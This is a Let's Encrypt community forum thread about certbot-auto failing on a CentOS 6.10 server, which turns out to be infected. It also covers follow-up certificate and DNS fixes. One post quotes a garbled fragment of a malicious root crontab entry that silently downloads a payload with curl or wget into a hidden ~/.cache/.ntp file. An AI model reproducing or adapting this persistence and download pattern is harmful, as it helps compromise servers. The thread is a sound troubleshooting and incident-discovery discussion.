Please fill out the fields below so we can help you better. Note: you must provide your domain name to get help. Domain names for issued certificates are all made public in Certificate Transparency logs (e.g. https://crt.sh/?q=example.com ), so withholding your domain name here does not increase secrecy, but only makes it harder for us to provide help.
My domain is: parklandpaving.co.za
I ran this command:certbot-auto
It produced this output:To use Certbot, packages from the EPEL repository need to be installed.
My web server is (include version):Centos 6.10
The operating system my web server runs on is (include version):Apache
My hosting provider, if applicable, is:Domains
I can login to a root shell on my machine (yes or no, or I donāt know):Yes
Iām using a control panel to manage my site (no, or provide the name and version of the control panel):No
The version of my client is (e.g. output of certbot --version or certbot-auto --version if youāre using Certbot): certbot-auto does not work !
It used to work - Then I did a Yum Update
Now it does not -
EPEL is enabled and installed !
Phil
June 13, 2019, 5:16pm
2
Hi @garyvr888 ,
Welcome to the community forum! Can you please run through the certbot installation steps again from https://certbot.eff.org/lets-encrypt/centos6-other and let me know what output you receive.
1 Like
I did this a couple of times - Did it again - overwrite (y)
/usr/local/bin/certbot-auto certonly
1 Like
rpm -ivh https://dl.fedoraproject.org/pub/epel/epel-release-latest-6.noarch.rpm https://dl.fedoraproject.org/pub/epel/epel-release-latest-6.noarch.rpm
Phil
June 13, 2019, 6:51pm
5
@garyvr888
I was able to successfully install certbot-auto in a fresh Centos 6.10 container.
[root@0d587d5dda4c /]# certbot-auto --version
certbot 0.35.1
[root@0d587d5dda4c /]# which certbot-auto
/usr/local/bin/certbot-auto
[root@0d587d5dda4c /]# rpm -q epel-release
epel-release-6-8.noarch
[root@0d587d5dda4c /]# cat /etc/centos-release
CentOS release 6.10 (Final)
[root@0d587d5dda4c /]# /usr/local/bin/certbot-auto certonly --register-unsafely-without-email
Saving debug log to /var/log/letsencrypt/letsencrypt.log
How would you like to authenticate with the ACME CA?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
1: Spin up a temporary webserver (standalone)
2: Place files in webroot directory (webroot)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Select the appropriate number [1-2] then [enter] (press 'c' to cancel): 1
Plugins selected: Authenticator standalone, Installer None
Registering without email!
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Please read the Terms of Service at
https://letsencrypt.org/documents/LE-SA-v1.2-November-15-2017.pdf. You must
agree in order to register with the ACME server at
https://acme-v02.api.letsencrypt.org/directory
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(A)gree/(C)ancel: A
Please enter in your domain name(s) (comma and/or space separated) (Enter 'c'
to cancel): fake-website.faketld
Can you show me the output of these commands please?
rpm -qa | grep python
rpm -q epel-release
ls -al /opt/eff.org/certbot/
Have you tried completely completely removing certbot-auto and the /opt/eff.org/certbot/ folder and following the install guide again?
rpm -qa | grep python
rpm -q epel-release
ls -al /opt/eff.org/certbot/
python --version
1 Like
As I said certbot-auto used and worked fine for a long time ā
https://www.powersportsrider.co.za/index.php ( A working site on the server ) - I did a yum update and wanted to install a new websites certificate and ā¦ this Error.
uptime
Phil
June 13, 2019, 8:52pm
8
@garyvr888
cat /proc/cpuinfo
free -mt
Cloud VM - 4 cores 4 GB - I see CPU usage has gone big suddenly ?
top - 20:56:53 up 257 days, 13:15, 2 users, load average: 3.08, 3.40, 3.38
1 Like
Phil
June 13, 2019, 8:58pm
10
I saw that too based on the load reported from uptime. Iām wondering if perhaps the certbot-auto install script OOMād (out of memory) while trying to setup. If you can fix the load issue and then re-run the certbot installation steps, let me know the entirety of the output you receive.
1 Like
free -m
1 Like
I rebooted the server and success - Working again - Cpu usage 0.2 %
New certificate applied - https://www.parklandpaving.co.za/
Thank you for your help - yum update ? Probably wanted a reboot on some issue I did not see until running certbot ?
2 Likes
Phil
June 13, 2019, 10:03pm
13
Awesome, glad to hear it!
The real reason this horrible thing
crontab -l/11 * * * * root tbin=(command -v passwd); bpath= (dirname{tbin}"); curl="curl"; if [ (curl --version 2>/dev/null|grep{bpath}" != "" ];
then for f in {bpath} ; do strings $f 2>/dev/null|grep -qf" && break; done; fi;
fi; wget="wget"; if [ (wget --version 2>/dev/null|grep "wgetrc{bpath}" != "" ]; then
for f in {bpath}*; do strings $f 2>/dev/null|grep -q ātof" && break;
done; fi; fi; if [ (cat /etc/hosts|grep -i{curl} -fsSLk --retry 2 --connect-timeout 22 --max-time
75 -o
//.cache/.ntp|| {curl} -fsSLk --retry 2 --connect-timeout 22{curl} -fsSLk --retry 2 --connect-timeout 22
--max-time 75 -o
//.cache/.ntp|| {wget} --quiet --tries=2 --wait=5{wget} --quiet --tries=2 --wait=5
--no-check-certificate --connect-timeout=22 --timeout=75
-O
//.cache/.ntp|| {wget} --quiet --tries=2 --wait=5
1 Like
Phil
June 14, 2019, 4:34pm
15
@garyvr888
Here is the actual virus - Caused the server resources to tank -
everything - Might see it in my previous emails ā¦
[malicious script redacted] by Phil_LE
Phil
June 14, 2019, 5:46pm
17
@garyvr888
Very cool, but unfortunate find. I think it would be in your best interest to audit your website code, attempt to find the initial attack vector, and completely re-image that server.
I have re installed but now get certificate not secure ?
https://dealercontrol.co.za
I have reinstalled new instance - But now https://dealercontrol.co.za
not secure
Hi @garyvr888
you have created the wrong certificate ( https://check-your-website.server-daten.de/?q=dealercontrol.co.za ):
Your certificate
CN=dealercontrol.co.za
17.06.2019
15.09.2019
expires in 90 days dealercontrol.co.za - 1 entry
has only one domain name. So your www version
isn't secure.
And you have a private ipv6 address as AAAA entry:
Host
T
IP-Address
is auth.
ā Queries
ā Timeout
dealercontrol.co.za
A
154.66.196.79
/ZA
yes
2
0
AAAA
fe80::216:3eff:feb3:1504
yes
www.dealercontrol.co.za
C
dealercontrol.co.za
yes
1
0
A
154.66.196.79
/ZA
yes
AAAA
fe80::216:3eff:feb3:1504
yes
That doesn't produce problems, but it's wrong.
2 Likes
